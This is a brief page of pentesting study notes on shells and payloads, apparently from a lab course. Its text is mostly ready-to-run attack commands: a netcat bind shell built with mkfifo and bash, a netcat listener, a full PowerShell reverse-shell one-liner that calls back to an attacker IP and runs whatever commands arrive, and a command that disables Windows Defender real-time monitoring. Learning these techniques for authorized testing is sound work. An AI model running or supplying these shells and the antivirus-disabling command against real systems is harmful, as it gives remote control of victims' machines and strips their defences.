> For the complete documentation index, see [llms.txt](https://thescriptkid.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thescriptkid.gitbook.io/notes/miscellaneous/shells-and-payloads.md). # Shells & Payloads ## Bind Shells

With a bind shell, the `target` system has a listener started and awaits a connection from a pentester's system (attack box).

## Basic Bind Shell with Netcat ### **Server - Binding a Bash shell to the TCP session** {% code overflow="wrap" %} ``` rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f ``` {% endcode %}

### **Client - Connecting to bind shell on target** {% code overflow="wrap" %} ``` nc -nv 10.129.41.200 7777 ``` {% endcode %}

## Reverse Shells

With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.

## Simple Reverse Shell in Windows ### Server (attack box) {% code overflow="wrap" %} ``` sudo nc -lvnp 443 ``` {% endcode %}

### **Client (target)** {% code overflow="wrap" %} ``` powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` {% endcode %}

`Windows Defender antivirus` (`AV`) software stopped the execution of the code.

### **Disable AV** {% code overflow="wrap" %} ``` Set-MpPreference -DisableRealtimeMonitoring $true ``` {% endcode %}